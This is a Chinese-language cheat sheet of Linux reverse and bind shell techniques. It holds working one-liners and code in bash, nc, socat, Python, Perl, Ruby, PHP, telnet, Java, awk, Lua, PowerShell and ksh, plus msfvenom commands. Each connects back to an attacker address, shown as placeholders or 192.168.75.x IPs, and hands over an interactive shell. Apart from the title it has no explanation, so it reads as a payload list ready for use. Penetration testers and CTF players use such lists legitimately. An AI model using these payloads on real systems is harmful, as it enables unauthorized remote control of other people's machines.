Linux反弹Shell的一些方法

nc -lp [监听端口] -e /bin/bash

nc [目标IP] [目标监听的端口]

socat TCP-LISTEN:[监听端口号] EXEC:/bin/bash

socat TCP:[目标机器IP]:[监听端口号] -

socat TCP6-LISTEN:[监听端口号] EXEC:/bin/bash

socat TCP6:[目标机器IP%网卡名称]:[监听端口号] -

bash -i >& /dev/tcp/[攻击机器IP]/[监听端口号] 0>&1

nc -lp [监听端口号]

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击机器IP",监听端口号));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

nc -lp [监听端口号]

perl -e 'use Socket;$i="攻击机器IP";$p=监听端口号;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'

nc -lp [监听端口号]

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("攻击机器IP",监听端口号);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

nc -lp [监听端口号]

php -r '$sock=fsockopen("攻击机器IP",监听端口号);exec("/bin/sh -i <&3 >&3 2>&3");'

nc -lp [监听端口号]

mknod a p; telnet [攻击机IP] [监听端口号] 0<a | /bin/bash 1>a

nc -lp [监听端口号]

nc -lp 1234
nc -lp 4321

telnet [攻击机IP] [攻击机端口1] | /bin/bash | telnet [攻击机IP] [攻击机端口2]

javac ReverseShell.java
java ReverseShell

import java.io.IOException;public class ReverseShell {
    public static void main(String[] args) {
        try {
            Runtime r = Runtime.getRuntime();
            Process p = r.exec(new String[]{"/bin/bash", "-c", "exec 5<>/dev/tcp/192.168.75.105/1234;cat <&5 | while read line; do $line 2>&5 >&5; done"});
            p.waitFor();
        } catch (IOException | InterruptedException e) {
            e.printStackTrace();
        }
    }
}

nc -lp [监听端口号]

awk 'BEGIN {s = "/inet/tcp/0/攻击机器IP/监听端口号"; while(42) { do{printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c);}} while(c != "exit") close(s)}}' /dev/null

nc -lp [监听端口号]

gawk 'BEGIN{s="/inet/tcp/0/192.168.75.128/1234";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'

nc -lp [监听端口号]

lua -e "local s=require('socket');local t=assert(s.tcp());t:connect('192.168.75.128',1234);while true do local r,x=t:receive();local f=assert(io.popen(r,'r'));local b=assert(f:read('*a'));t:send(b);end;f:close();t:close();"

nc -lp [监听端口号]

pwsh -Command "Start-Process /usr/bin/ncat -NoNewWindow -Argumentlist '192.168.75.128 1234 -e /usr/bin/sh'"

nc -lp [监听端口号]

ksh -c 'ksh >/dev/tcp/192.168.75.128/1234 2>&1 <&1'

nc -lp [监听端口号]

msfvenom -l payloads | grep 'cmd/unix/reverse' 

msfvenom -p cmd/unix/reverse_jjs lhost=192.168.75.128 lport=1234 -f raw